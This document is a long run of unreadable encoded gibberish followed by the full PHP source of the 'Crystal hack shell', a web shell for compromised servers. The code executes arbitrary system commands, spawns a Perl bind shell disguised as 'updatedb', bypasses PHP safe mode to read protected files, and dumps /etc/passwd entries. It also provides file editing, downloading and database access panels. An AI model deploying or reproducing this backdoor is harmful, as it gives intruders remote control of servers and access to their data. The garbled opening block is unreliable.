zYNR9q0z|3OL~0-b0zp7ZAfX0QJnMe;es($Id^u;F@xJ?g$NoUVfU&MMSDkZS^LPFK zUqBG=C1eqLgs?G8dCDCaHwpk(mZ;pm#2f2QQ$9IB4TYzqD80;{z_6%|zOrRLJNC+K zNPe|)tc@Z8e_MT9K#EUoak3mc{pkykBn)zM3-TpIXMeVvB-#^t-O7Il3-2%>3jNJk zdCRZMH5cxB+&KOeRRMpw)=L%h;7VDfU!L*cN=p3&VTI7$F~3O%keu=`RN}o z**g&q_>vUb<-e!Zeh$dk6ZL~UVu;@>V(Ja5nD}*0pBu?B(2B@1*r6!6FD1SAM z4Jlijt~M$g^s|1bCWyQ?s-sIM*;4Bo5C16l-g)MrS27TsW1SbWd!zcv#`{c~i?DKg zixpV=hgQ#{LQdMzIUd=*-Tc5urA z!<2++*!^6aDO~d|=he+-={b*tIu#5^{1K#G*mgICJa&Xzb&LD(FtdAl|gZAfR_t=}{kY;oUfC3-n2(Y?fEAURUCM%Zj41a+*A=}5G&*ocsF&DA)22sqFp)cow@ zy}_1cX;|tgk{kX_Pe+?BsrO2cN=jIT=@x>7uX+(eqE&KzpctKn<01}G;OuPNDQCA? zL~?;VH8~2RrQzNpfg6-xyI7Axk1>^smkaLpV)_ZYHXAi-*aGabm=E&Xi`A%P`NR0rw{0IMhNm9 z?bb%syc5Y&Z)&KDF1KSvlS$ILdn4YX)c#VTU&+L>+DW}n%b4jqj$I2y7OYetVKN%L zMndWT;b;m*PXij;g;n0V{8^nl8*RlaSEuwsAUhYh1(6vj7sCt;?9H246b4ql>AQfc z0|ckps>4Cr&-T^>S*CLiEl&D-s)-^4=CNz(=!sOhH~G?j`S@Sfd#2NQHYxMCW?iLA^dimJO%>lQ-4Q&X*>tP8-zno;AnQty3Z$VW>V&2@SlKQjyQTP3~vy z0z}oV%>CDf<*{S~0ok=q+XeGoeNP7M*PHgNbJ%!5$FD2$(EaOEmb!YZow# zn`?<7_fEB4$)a1E=LXn{!x@G!y^-y+>uWF*)&7zF;;LF;NWf1Dee&X5Iup@ahEtk? z6h6zdgy;gpn>T2Os;n|SvVA7Qq@{TTQoP~PGwBTPYMb-u$1VW5hLB!#atMG$m4~LS zKl_K@k;ZQ}A6;fP9xh5(`gU_Q7}HqHN~$eezL`>=4;ed*sb>iFBh)h3$vc%qHRbz= zwK4rzhUyYu2{dlg8c3*Y4S%GzuI%g7LUtBv5$sF%9xqriBnt%XjIb~iWSt){5D1Ut+wknROJhiXQp z{=geWoK^4(BpMTgYkiVYDv;BI%DU^s$ORj>?Y&#YtVlSOi(&A{i=k{txYvTEN6oNQ z3kM;vyP+Ndtm1`RzOL5LMcK;0Y|#kTbG=bw>OIKP&(z@6)N8OQCvv{s&W?pJvLUHUGW!nNw8FyFlPox(3&k1=_(6P)TWVT3*S1uB(+7Gup+Fv`|N zjYwm-`Tf^`MZ!9hcd;FOh$&v-siTAY*>u~ZcwjaWWcu?7WR0g6NMd*Ya+DuRtTx`9 z1RU^`@};dwSif#tppjVBiViuiP(Qsl@ z`7omwah8f}&ky<5D1j{U3K1Gy+Q($=)K^thuGP?D_>IqIoavAXO{JtNRAGOJ=KNL! zOi4v1o$bI87^7sHFO2}n?>v0_3uZ(lNH-Ex^uj&k9gDRFFo^L%X4pOWHz`Nb<5i{% z)u1&8^Fk{`rA3q4j&X?ik&2$az-a}NgKJlf+1-dp>v#8)Rm$yg158)eZLgD&6ATOL zrL1x%dTx8pk*EN#&tPC?8uYC(bIu}jG~?oiR(Xh?NuQvDO?-0zVYdT$lAhFNUe}mw zTw6QhJXN*2RVnnN^{g}B^&SYCCbh;|MX1@Z0HM z2Ku%2o+Sv6e0g5lb)hfv~JrmW*|CZU>NFc|3?xudB2f zFi8E~>#9{M*MaND#5y@WN?V9Utl{6{-N<}#Iu~gc&=;x@W6C`wSg+KZbCo88@E7Q* z*6qP5j@G9`oXR%?mmDGP|EjU=ke_PD|urlF48Q1?E_kR`de?HY`{sn6M z4^6%He_LnZ*2*n`=Z+N467Q!ouac$$oU@DRHm!c#p1UbalD_r%G^GI<>40a!7{Np` zl4pFJUb+hLb*;r*+e^4KY0W#;p&#kzO^#MRl_j(NVSBtlv}5)ut^J4je3la1w4t!k z7;l*%Yk27C^$wL24|l3^R$9{tzn4mhPI?jUlCCP}qbK*HtyMN>N-JGZYP;x0SQdAq z`hpASEL)*07_cEJH-qplrfyWYOd}8(1q4cIFJG1qFJI~D13%0-c9AA6ROpzN#w=Z) zLXMjqsr@eOYbzO=Qw2Ln)lViPlOu(x=!O$vKz|u|u0BrVf?moEjJ{Ka#@5F~Pn#@x zlT9tesf^1%kZp?K@G&)}VyM&y_pep)osmZXaAc+CcguxgnITof3@1v}siQuM^L~*$ z!6LiKT53frAv<3HQ=-gXpKNIxpJtDco_6@pyM&h4DB2bdjeON)2^fU45mEDsQ_%e%22rg!$C zw#lK?>v?=t0V{XbIcRVBRL7BR<;gld$CV%!AQVZ6Jo$%X4uyPA4>}sHy5jTsJZSte z_rm>h1`eE4UmRa@W?E+SQGJNyo6^-q32?C4AC3dbsx5Ql5`v30r1M@lX|Xw* z;?_-HTzqM_9{ngk1j3ATA{83~Ytn03lqJE@x?Q1jDnC0x{*tSC5Z!z)$`brq2P^)a z6Vgp-DFDWrir}>#`FMq3E4}&YB(EVW9AD^NaI$&q@z2!^6^2K+`_rGLj!A&Rzhrn^ z8c|Zf7GC4^By_2uVd-9P zz&^ehT4;nCWU3Vt9JufL2T0f_94>GPUi49B)=#nfT_j^dKDncXZ3ZG!LO=by9-13* z9pf9$T7Ku^)uT1^lPLJs_3Cy+qB_H1jg-|?*jKnh&xP}_kAayc)kzV$w$?^y)6BfU?f$*Dr5-fRKC6NzsE)56s6Yb0%W;ql-8Ces!yt`V{MH-QRM%ux%50cuJ zkGsw$^LS-8Ud(e4ej~&l+ceHJt0UG8f|MPdq$ssxYZ++c#7cR|D}<1BtE#1qPOYxq zqLBuB8hxv{^Vm6&r=3j7+_36zXU^d|#7TvATL%kGP^;b5%v(;)Z12TN2bJ@bi`6S` zp^*D{ezA*J^p&&1*|7yss4wrWC8L$+x1J=Ses+`?lTDm8O>|mCy^c#ic|zpnRTJ+U zVcq@qjA+*z0SVxtG%3yZP}f97*@w#SR34&8xn{a}>suD{dRDdMvZlht#wL@UCyKst z(1wwy;Hyxs*~~GGOPJ`L-$&vI`VT4l5HOuzu=Z&53FiYXQLA$zZyNdi9!t2dB6}Na zGB4$Y6%>fZRM#i@bY*2KXR!|=dzV8$&jfWuh?YdQO>2y3aestXt7>2NYV2|GT16r3G|2{8q;<9Gi~~fqyOkM5nN^UvWFK zc5s=hdaH!leqok3R6RlUiMW}YvsR6E3Gg($^k&{4tt$`jjqq#j7Hq#`4a!z}|4xZv zu3grMVVuA=my5QNsAi-$5{jA2a^kl4Uc7f&B^2bBkITX9hsQ6i(|KSxru8bK8ZdcF z$epA2o{Cle3dc*xJtF9j!d2ff#ax z6R$)&xzwW4)SR`bD<8A~LkJs3%5d=dFW($Qq`%0sHSwC|&X!jw0oJDb6=MzW6E}eM zNm}mb;8O3U(P!A&E~6b?etOj$TO_Nsg`djGNcpLC9{H`%GfZ{K4K<13O1^-#Zt*JK zD{!g+W_DGB4x~CSx@5n}^glF%EjYrz0w#8vG6waAkvl#dpnAt2#9k&Ci9Ai9&H>DWH%gT&e z15Sskiz&%@oWoM7A<0)A*4n=HWXd4!2fhC?H{bmuV8yu+Ciw~8o^ncG?c`*q2-*Jv z0y`VVB|h%%7>?b2R(S#UGoY~@!(()Flnx;kkp%M9qb zdk01p^OF=}#GYwdZcN*WTNPxC|7IV5xG%q3hU8iO0DJyRQ!#Xo$y)wBLtTjVC-+VX zGcFs5-D~ib&NRCUD;!1dvMCzm(ym{o!qNWqZ}gwlg%*8mKmxDuMxB`Sovz#X75!Fa zp1_i}r}v(k2N`?5H64`gZo)`*Y?ME={6&YC@jUf<#A&p$a9oWCs|#RJ&>)Xwu@X_G z+2MuVhCsY+bzjs>>Dm3AqOTkwN4KkDnbPuE4?qOx+i>}s&^ziFV2!3L1Nv!2N66{i z57Q5RDsRyeDwD?-foW-}brj{<#Y}RcskNB)_k;@v|Lep#pY*94M&Q>tX@u4sKBKke4$pA1o>_l5si(0 zf6k4B{NY#$?%re#G&{@V>IOO({Zhoc;5P*qQqNyYJtgr$iC~QB#S9F*>t%ORP=li# z61IBM-OX3R@uMU(I)3ibaOByQX@#HiPqMepROH&AMlD$DZr0N<{5UYrT9IM`qYM6?g)i<&c3qmr^2J1+siO&w4m)4TfXq#PkzU;t9S+j9{Mp;JV@ur| zT0hY%cD-{$8Kd6S*Na3Wb)OYBUwu>%A zpWBREM^QBOsQIk?S6*}Gnu4El?%8vv4IBU^p(6PX*x5sWaBJ|d)iK^Bq#S`%CN{7| zk}L0KWv>PsMEj?euex5|)HhGS>^h=b5DJQ+Nv6Jqe(Pok zNL|OOWhRYt#jKTE>71`K7I)t`qd#t8Yb_Bc8n>+kTuz?I^Dr%1=PR;;!K_)Vs+=e& zV^ba(m`#pbIM z$*%6>G={8PyQf{%{M1f76stsCtGc|Q7XhNpIhiFj>cp2YmFbox1bc$B>8>(eV$Aq; zf!-cGtlW(=Vp171HKDY-OWEsfpXR0=eW{c>&>kjKJj>{I-LxQD)}|8l&DK|g4k1q? zOT|7NKdNi`F=6H{U^mAxL{UvX+2$3_mwW1nyc#fwc zTcT7KVEf&_F0@$WS-R~X4yhvcN*=}n%KXfAOQHl7CLF~)Gj_8xSMmK$kNd^U9}n!` zbotjIS=;8_RAPJNb(&6H%V{dQ5_#86abno;OX|#RZ17a8s%GShD{FYkG#@%rx=PlU zmT7-<)x6VYH)72hjKW;a;cFAs2HhL>^J{|4uJd(&Uc0g5kYKwmSB5pf?F!YDOzX2{ z=TH&KCX%)-!wYU+5O?U=thHKci0XFNH$U-l=4EO`ax^TQ>SHj{bSrD9!f~mUx}$co zOvB*s(bXif_ZQ1d^~%>SXY$Ke1rc&}X|t$hXJhZI-~ni9)18WrcdqZ%iTn6-kg2mN zFD!V^h!FDatmuzJ)thjFFaK~rOMq+^XTYEi4~&CW(iPzVl03dt8X(?6LQPK^Nnubn zU46hJZp~+R01s;ha+2)hbF_<3Q0_yj$Yb=JKOFZ{9yJWBn(z!Ie=K_@KZK#ky)3n zBMNRcICRR#oavx(S|e-Tt&F=TJlx+y4tW=6h&CHs_nt}cxF5@v|fZZ4L)wjs1f zPt`&`+0zBW$FhM+4W&!3uZJ3f7Q1#sF7r4h6+IFi(U#ZYLMuAfLpR~z*ly0~i%^MA zZ&?E+Mq8TVB17x5-_syXwmklujyHL}Mnvw&3BftM-!4<_WDVqN6}M7EuK~|*cu4VI z*R1CIigvW0nBGn-6bX18+FazS6v7}%r~kg5qm9LzMa+~^ww93R8>2VQI9@;=VP4T) zmmR@Na5Q2@>##!g@evzq`n?eFZi@rb&#a+~m7M&C17TLezQ2kS=QWQWvI>a11C`kR z?ErsHu{9ZWSpKchUkLd=HILNo*jU`C;wAGRsyX*?xpFt=u4%sKNMr1o$y)yBQ5tx# zF!P$-BK5sHQ1TXyJE0hPemc~DviV&~%Ye^L_!U3*hI%5_`-VYBHooyLE#wW+Q8vHV>9_b%G$94Ii zsgeJ~@1y2=oRu75nkzT;)?cYKYiu8*l)N^NQ?KKGGv zea8}d*RmF2Cz3x|Q(m(6>zA+dYN5C+GIm>Bx>H!l_LZf{&D%oV(i!4C%qcWd+h-v9 z*x4Umj)DOhzr)5v4&mwpFsWcc6=d zW^2qNB9Q)JWT9`9X$rZMf8xHYH=K`sun@vTE{Bvd?!wG%oJayqU<|tr18Cia8Boj^ z4uEH3-NpH;T({E%gV*vqbvC?heFaXq6*pqnE*j~*_r1WgYHY1y;2l?>`lh9}8W)7? z>FrXHV6TGys_qi|Wwv-DwiyI{kFnt>7ic4Tk7;)$)G_j<+cg)iO*$KjT<)py|4a99dS3g zBMth(Zz6+C+%db-)JNe?He-f0eS2!q|9yL_Sohi?K400ElEV_<6{q`!?ey=XL7}cq zZuon5v`W{BzrvBNl46A4B7qLCC6orWG|IceBN~Yo2oOf$#F7tc$myCI>o;QFqf0Uv zo9IKPAm0?D(j4jWv*Ga|e(hEw0Sv9$v3H`($C}%)+}=n|N35r@miN?hd_$`i*A3q8 z32PYnK3g`ry`^3?JUfPSExZR)@;DiLUbf-Hw_G--BS_*}Dv!#;q`eC7p~SGr9|j+? zT$ktHeI|c~nXd)4aMHviB=7~{=^oKmj}>vPeDEREN4&}a&u@`RRPoUADW}FLD+@te zUFe!K>Z|_v4^c#kgWvS}FrlVENcCdB(sEZ})PTSGP5#1TT~iD5S=K))m6i$+{^SU0 zYoPwj#Te*~wClp%(4OO|UlG_S;-uvo4DzVV6O)pQuBp#lHF~Yz_gxvMhBMk=p5znb zG;vMf2(8d5HrW8?VXniDpycGbU022rU&!`?BZjo0t!YCmKm^U^#zXF`k!-P#iN`UR z$8LV>*OieNBN7drJDV(SN7rAId^0UR^sDyglT}3pRc;fr{4OtrFQtW^I5vYfkv0F=-~tUT@Ojhk#`P{a?ixVA#Q0M3S755t1^BND=v^Rbr;1?P z;y=KS4L1QxLF9obrga(Y0kywBIy-1_;BbCH#jrBP58L<+7=cM33%W1-lq>dxDg+p$ zZ{c{LsHOYq_)HHyEoSg%(YX5)SG5R*CQ#BW<4- z%kK}oS~281({-f2Kp+>=f@bnnd}u#Yp(<-t+Nm|N*Wgx(*I_~E5}5_pFe55*XDqGK z46t>Uq7PdxSPrl8dB^L~R5S8Bi@hSsdc(!HWTUs|o|F|$d#g2G>Pnrd!-7P6rl-7pIL)h|E^Kh^tPCe`j-L| z@1M@vagL^LFZTpnz`YBra=lNFt1k}a6-9BX3ucX!{tf}0PRAMD8(q`s#R{x7&yAL5 ztlfHr>SqYb>1KFkqz}C?SE=EGZ2Zb5A1kvOcAI>#Kq~wk*cM%u&^A2JFOKILX+zv ztjDfP+qsV_=D@G;^$Nfbxw1wHII76JwEEMCrK^{hEV5+hB~_;eEJjr+!j^t~-K;W& z=?>dI9(@*3pPj)uo9q%^)4wA6pyj9J|B|yxaP`u+m|y8>2*do`;uCW<~&?XJJ? zYuUjS{NaddiK55Qz_W`TxEK)aW{Rk^+sv7UQ*^q1>RqoH2^3D z2|jC4q^^JS(e@=Poa%B`Y#2`SNIOUEZ<^RUvYx$u&UMp+ZI5JfuS-fwA9?W&smCB7 z&V>5`C5bV&=pVdhc$C_L_tV4tq5{?H;HYIlZUZBa>zbEtESX|&Lo-hEetat~6O%(Y zR1iG+c&IAtUA}o7#<7(6o#JFuJcq(iw{Db1u!=ulh?gN8RF<8s(b*^$A~!98PmF6G zwKQ);-_w%V?$*-s?#=NSdbrtV1HNPRbb4JS)R`3-jQhTY#e$S#MJg*hiU~x=J^KdC z(-1`xnP;$ZI3@|A2=n&~xB&?yKK2~>GD!-NY+H8@^$Jx;@7CfSG&xKD>j}RFX*ndP zwjwL7TSHQ|F2PhzsZ{9&^9Cc?$zRn_31X^+Dpv0S_v(OSs&b~Ve!qO^8S-mNzJ8BJ zDi=xD4Xb4vF$(M<2=YUV+&$_kV=6pu8*uA4x(svFt&Pb}(2NiqDLs*~ld%-*(>C8RLu`FVEJ!23v1=6x!r9U)AzhuMwDGv#J; zD=&pxhR!xi$=M4M*5qD0eF34@vvm_Af9rPaHY5{-bYsvCYq7;lWxOBk?rgcZrUzmB zklQ;Wya2Y`H%@6?iHcA8$$QP=o^zLS$|zH}1wEu?;1?RMl;O*H@Yl70UUq*VdRk^E z5L6lb%lk_B4jEQ2oml^4y}7}_WU9R1u~y9E)kv6CcqpfC@zVi5k;)z?vrk_a>3NN> zJuMO=gFw6J7BNOh{p(rD6Is^Q}XTAyIVRS9fBk!q`l}tD5d=TNj?TQy$v} zzziARkvczaaaNvpncS_IdtM^w#tPCb_xHVl>o~&#YB{}S#Tn9LzD>3ty+zpBZuo>Jk(cP@=G3)p|4^Thl7UZp(#D$S@8xP7nUF72Fq@spf%Y@o#ZS7}s~eL!z7RVVE@ z!sQDTItz5X)j;iI_b38fzcmH!%-kQXOdlhRUPz6=(wNws#ppdZ<^M&Ii9b# zUPYkUKZcGAJ0|Be4MwZM>ZLNTa6L+&je#5WE(h*~x`c7Z`8yM=OU`T>Y1NQW=w{@G zcADKtAd9k^6DN`yVl`Bn=H4}53xnf0v`?iYx5<2z)0prh`iUvP0}sbw|CE_1b^?Ew;7m5 zHo%|!;oyduP)Xk+q;@-S!WB)BqUq_cy0y}SkSCZMoo>+L_=OBx#M(CURrsJ2ayt3S z#^A17pO;r^2M?z@(Cc#D>#~<(uHppJrLLD28E>S<5MdN?t6nITp{`q zxQ^CLpeLw_zs7kqsz{+=0aL7J9=SBPaJCZGuV)jt>-UEvO-*Tpadbwl0~{rBu%=3iiwYs;Dp8Il2!%Q6Dxu-JtfXHR1?NdTH-GW$1eVf zU;OWXbIOb*3<7vXp$4E8b^V_jPyjA*<~^s1JHT8VF{?bQ0(^P?2Li z<@cPI;;#LZ_V`!%tHMjbFWvu;R{0kJs{g=%^aI=fb0`1U{@;!v0SI>R?+;Fue{};n ztKtp>>IY;?4*xUG^}p@P)BgVWXAmynPaNj|*cRdNzkm4uw)=l0SpGc*?|>aWc>ix5 zPCojlMTg17H9=Sd$?-2Un@f4rhlOSae+uD0N?K{=1Q6Pa+O9^|GAVuH7%H#a!JJy|{}k1aR^1zTbU*PZRFL{7^Ze2;qf zhl8Y81SeTzOXve;sQM=LOkHIQcKFedx2|jG3t|!Wjra>IMoLq$YqL+!g#An?voXhQ zlQydtznR_?+bQC&R{zG7L;m4-J{pKd26Fl%-p!A&lR4r?aXtT9`mPjNyAr$7G ze>6DsTSpuNhVDa9U!aW%qR#EtBj8(;r1wm7TDa~8T$7Q^x>_UBSQ z97g(DsRjs-P~Z84sO`H&z19&MRqzijC4AGWHF1+|Pq{5uQM2YEylXV&(`_{;(QbPm zW@uuJjT18aEU*VX@ zjKY92&;9sH%1BnqegjE8{D?f*wM&szBFfosY{)8;h!wYmYB%cxIPl)iupagooAIk zm7Jy8T1#drqSJq?XfAFU zH+%Ux6bjl4;4$!+fKf;?6T7}dye7t1sC+nDZp0PO|^LmOwm)h z4VCP={KW2`RWO(0y74F&IW>V@=!cv&0<|x_E|%NW@5*cY;OyuX^T5!)g1Ii;&&hUx zOkqy<+Zr_uBHe16UUvitaViF2ngd1n64LYr3sE4rYJ1K1W#~~k$xISeC>fX~SD^!O zVqPiU!nQmYDcEi??nY&j&N%vuo4qR=5GrG!dX`5M5ZDi0vZHfX!V8u<>^yC6zEL`( zCwdW{z1QxaEt-T2v~ekQIhf>w%I(OM9eVd6g})dVlk6_CA(s~W!@%c4(&y9jNwS@V#RDbaDF@@tdw$Y? z5yOORh)(U(n#0k>5%Q;|m!<<+Tgim$3-xw8jhOYw6}A4|oOt+~r-bQ>FWo^r*yU7b zGcgapTyAApfn@2xo}qkK)k!a?EOlO zMfhtHVHEd`nU+%n5%@7N@t(vZKg+he>pY$w|QL^#^tGZH0|OzjUFH zw6EZ+gSJUeZ|Nv~L^Jhf0HNqRn)a&ee9Ji(LhKou%Qq}QvDFEyiiN>yivG*m-rUJt zKEVYND16D_`s~lOqO0FZyS-N+*Au^%8R?JdN>h0wZMIYnWa)()tVU4hZqci0>vyOF zv8%Zc2CF_ahCZ|}km@)W0?s}reb^vupY%VP^u-0d=nKQ<#F(}vF<={)Lq$nMuYsPu#_hAs@Ew#}}`z8~|uFapt?y)crk zxccbfXLO&)5B)u^Yx9lOGXZb;2Fm2NF<*6${B3_5UvL)xk;?ZRCR$>5JCuh&fA)vt zN6t!r;vF}g-jnC;H4$VP6l{tCVv4p9 zdbkD}VqHuR97@=G&B6EPHxi@6%N}t)Kud1-jl z*X({9hkFeqIPAv5jCO=XjvxYqB5X}j-99lX6Yb{h#%h^%Vg=AWgA1-JrvSAs1Pa`t zF-H?_l@wXR1fxw;d~TwOJ99nc&AT_A3+e5>`)=oUmmgou5otdNc7d7y)Zy}!I7$;6 zLmZ5hhK8{BMZ@%684>&SG~g9&>Oa}L8Jf9xE$B>KY`$hA zZ(Ka0FSGG$y8a1;5U@gM)h=`GuYDu-6wgb;{o&ht$Ck}tcuR7BB+1_Auf)e0l_N3r*}+YDTg#JN z@!taO`N8F@Rc=)ntebwpnD2_W0Jz3Pi1n4;iB0vqv{p+yT={TmzvKdDX?}h~d(dNw(C3a=3dg`uTXqes=B&P-cPHyS9y@X72Cr z-Lsl~px!?;DFJ4f><~SLc7I^$HPk+aKIE6-m~EV?)oBx;e_$JFkY)UHt{!u5<_o62 z@9SN^@Wv}waoA1KJ_t@tG88_e8}`1wj><|#sAQs*0?{AXUE;m>II;$aQEutAk?RYL z(Z1^Ath7Xzk(OTdBcjKT#j-mW`q0(~&d)4&vMs%xhMxO3oO$?L6nJ0?+XB--ahO?j=MR7$Lb zJy!@K{a31<;ml(fYn>UtKVv#l^9Uqs#o1V?3Y-yBv=bHD0>#@H#58 z|6DiIP%<%spSnI9Ph4_7w1EN(`0RTmDNxq8&#Wm{30>yyeB@Nq_DJrW;nd5DEPlnS zy!s}v7Yr?!51KAoMUS_RIKM47byvTB7~+uxN%Y>}xcmI}(ToRXkMcY|?C^23#|yaW z=0Z`B8N^X<{05=I1|zZeYUqsumyIb;$Tq$Q9jdJDqC?h7(lS2>%GGvQj-;9$wV& z>P}2s_1Dt|Pj|0<_W!J6IQ=*#F#d>9>NQI!=MIs|2TWn3ON&a{G=dVJZJI}TSb}nk zjqfQnP0{+WO>G;LJJjH`B?b+~VZu_wyxd=1og4vXhsfO?QFDFD_V2$j>m9~ac4-jEzSfwqJ&_Xi) z)mEbJjBr$)=nBPVdRp9KbWWLoHRMR~_brhP6-%xR0;BvWqBHOqgy?oNp9B5M?7&&? zt9nlcD!lp5 z3mk#2=>dZR)X|Pgr8#&f#I<8zwQ@cqYSrfVTav7NnQPR^UvgKMi;_G!ry~#ORls~% zg-sfB>jz=lXsYe2z*5R8D&9$C`Qr13b-7a<2`#2=&tu+=EGFrErUTV$+yiV8vkn|J zV-J|mme+=|(r~M}x_G6OL_{+qw`F$@oX!>nlAPgfHeT=k|@dR11FL{z26}FOQEe|&W!UN)p8}YT&-HM0$d*svcmz7h2!|x z{-V{n?g-~OuRCTvwvpFfCD?M``llAHxC~PcAq4-41c=<3MlkzQGTl~3{tw3oFi^hn zEfB{vvH$p74&K^G^J8&~46wP2|8S7K;Iqz9EITUS;}6H-O*l=}CGKc20JKB}kxBbP zstD%ac988qb;Rj)fz-|#-8D%iK#IV|^SvINZd;%TMECeRI*i0L0d|iQ`or z0Q;{PytURtqE<0Me>m=R)&j%EJvcoF{P%X!lGKD1U>fx0?+xufKF9vg?ef&+ZE^^s zyZ(FAUkKu69qF~~sEEItI`oHwrUGwmpn0&k_W$)*ya8)l5L<8{UiY`{7@X?#cS{Za zr*i_d>Hq0Cc%VIY|7?#%+YH|shn^aP*-GCl<~0>)<#IVVN%bO-Vr-FsHs>nLM)-xW zUIAHXvX}0x6BNUaO8n>Xs=CK + + + +Crystal shell + + + + + + + + + + +
+ +
+

 

+

+ + CRYSTAL-H + Crystal hack shellphp 2006-2007

+

+ + +

+ + ON (secure)"; + + +} + +else {$safemode = false; $hsafemode = "OFF (not secure)";} +echo("Safe-mode: $hsafemode"); +// PHPINFO +if ($_GET['action'] == "phpinfo") { + echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() bị cấm"; + exit; +} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "".$v."";} +else {$openbasedir = false; $hopenbasedir = "OFF (not secure)";} +echo("
"); +echo("Open base dir: $hopenbasedir"); +echo("
"); +echo "PostgreSQL: "; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "ON";}else{echo "OFF
";} +echo("
"); +echo "MSSQL: "; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "ON";}else{echo "OFF";} +echo("
"); +echo "MySQL: "; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "ON"; } else { echo "OFF"; } +echo("
"); +echo "PHP version: ".@phpversion().""; +echo("
"); +echo "cURL: ".(($curl_on)?("ON"):("OFF")); + +echo("
"); +echo "Disable functions : "; +if(''==($df=@ini_get('disable_functions'))){echo "NONE";}else{echo "$df";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = @round(100/($all/$free),2); + +?> +

+

 

+ + +

+

 

+ +
+ + + +

+

 

+

+
+ + + + OS:  

+Server:   + +

+ + +

User: + + + + + +
+
+
1: +
+ +
  Back + + +phpinfo2 + + + + Tools4 + + + +  + +Decoderi + + + +  + + +ByPass` + + + +  + +SQL + + + + Bind + + + +help +sabout + +?

+

+[j + + + + server + : + + + + + + + + + + CGI v:          +  HTTP v:  Mail +admin:        + + +  
+ + + + + + + :  IP +  SERVER: + + + + + + + +          + + +                  + + +port + : + + + + +

+



.";} +if ($act == "bindport"){ +echo "
+/bin/bash +Port + + +
"; +} +if ($act == "tools"){ + echo "
+File to edit: + + +
"; + echo "
+
+ +
"; +echo "
+
Download here from: + +-->>: + + +
"; +} +if ($act == "about") {echo "
Coding by:

Super-Crystal
&
Mohajer22
-----
Thanks
TrYaG Team
ArabSecurityCenter Team
CRYSTAL-H Version:0 Beta phpshell code
Saudi Arabic .
";} + +if ($act == "bind") {echo "
CRYSTAL-H:

-Connect .
.-
.-
nc -lp 3333 -

Bind port to :
bind shell .
";} + +if ($act == "command") {echo "
CRYSTAL-H:

Select ------ x
.-
Command .
";} + +if ($act == "team") {echo "
Arab Security Center Team

Super-Crystal
Medo-HaCKer
Anaconda
Alsb0r
ReeM-HaCK
NoOFa
AL-Alame
The YounG HackeR
Anti-Hack
Thanks .
";} +if (array_key_exists('image', $_GET)) { + header('Content-Type: image/gif'); + die(getimage($_GET['image'])); +} + +if ($act == "bypass") { +echo " +
+
Execute:
+"; +echo (" bypass safemode with copy "); +echo "
+
read file : + +
"; +echo (" bypass safemode with CuRl"); +echo "
+
read file : + +
"; +echo (" bypass safemode with imap()"); +echo "
+
+ +
"; +echo (" bypass safemode with id()"); +echo "
+
+ +
"; +echo (" Exploit: error_log()"); +echo "
+
+ +
"; +} +if ($act == "decoder"){ +echo (" replace Chr()"); +echo "
+
+
+
"; +} +if ($act == "SQL"){ +echo (" MySQL "); +echo "
+
Username : +\n +password : +\n +\n +
"; +} +?> + + + +
+ +
+ + + +

+  

+

  + +
+ + + Exploit: error_log() By * Super-Crystal * + + + + + +
By * Super-Crystal * TrYaG Team
+ + + +
+ + +
+
+ + +
+
+ + + +
+", 3,$ERORR); +} +// id // +if ($_POST['plugin'] ){ + + + switch($_POST['plugin']){ + case("cat /etc/passwd"): + for($uid=0;$uid<6000;$uid++){ //cat /etc/passwd + $ara = posix_getpwuid($uid); + if (!empty($ara)) { + while (list ($key, $val) = each($ara)){ + print "$val:"; + } + print "
"; + } + } + + break; + + + } + } + +// imap // +$string = !empty($_POST['string']) ? $_POST['string'] : 0; +$switch = !empty($_POST['switch']) ? $_POST['switch'] : 0; + +if ($string && $switch == "file") { +$stream = imap_open($string, "", ""); + +$str = imap_body($stream, 1); +if (!empty($str)) +echo "
".$str."
"; +imap_close($stream); +} elseif ($string && $switch == "dir") { +$stream = imap_open("/etc/passwd", "", ""); +if ($stream == FALSE) +die("Can't open imap stream"); +$string = explode("|",$string); +if (count($string) > 1) +$dir_list = imap_list($stream, trim($string[0]), trim($string[1])); +else +$dir_list = imap_list($stream, trim($string[0]), "*"); +echo "
";
+for ($i = 0; $i < count($dir_list); $i++)
+echo "$dir_list[$i]"."

 

" ; +echo "
"; +imap_close($stream); +} +// CURL // +if(empty($_POST['curl'])){ +} else { +$m=$_POST['curl']; +$ch = +curl_init("file:///".$m."\x00/../../../../../../../../../../../../".__FILE__); +curl_exec($ch); +var_dump(curl_exec($ch)); +} + +// copy// +$u1p=""; +$tymczas=""; +if(empty($_POST['copy'])){ +} else { +$u1p=$_POST['copy']; +$temp=tempnam($tymczas, "cx"); +if(copy("compress.zlib://".$u1p, $temp)){ +$zrodlo = fopen($temp, "r"); +$tekst = fread($zrodlo, filesize($temp)); +fclose($zrodlo); +echo "".htmlspecialchars($tekst).""; +unlink($temp); +} else { +die("
Sorry... File +".htmlspecialchars($u1p)." dosen't exists or you don't have +access.
"); +} +} + +@$dir = $_POST['dir']; +$dir = stripslashes($dir); + +@$cmd = $_POST['cmd']; +$cmd = stripslashes($cmd); +$REQUEST_URI = $_SERVER['REQUEST_URI']; +$dires = ''; +$files = ''; + + + + +if (isset($_POST['port'])){ +$bind = " +#!/usr/bin/perl + +\$port = {$_POST['port']}; +\$port = \$ARGV[0] if \$ARGV[0]; +exit if fork; +$0 = \"updatedb\" . \" \" x100; +\$SIG{CHLD} = 'IGNORE'; +use Socket; +socket(S, PF_INET, SOCK_STREAM, 0); +setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1); +bind(S, sockaddr_in(\$port, INADDR_ANY)); +listen(S, 50); +while(1) +{ + accept(X, S); + unless(fork) + { + open STDIN, \"<&X\"; + open STDOUT, \">&X\"; + open STDERR, \">&X\"; + close X; + exec(\"/bin/sh\"); + } + close X; +} +";} + +function decode($buffer){ + +return convert_cyr_string ($buffer, 'd', 'w'); + +} + + + +function execute($com) +{ + + if (!empty($com)) + { + if(function_exists('exec')) + { + exec($com,$arr); + echo implode(' +',$arr); + } + elseif(function_exists('shell_exec')) + { + echo shell_exec($com); + + + } + elseif(function_exists('system')) +{ + + echo system($com); +} + elseif(function_exists('passthru')) + { + + echo passthru($com); + + } +} + +} + + 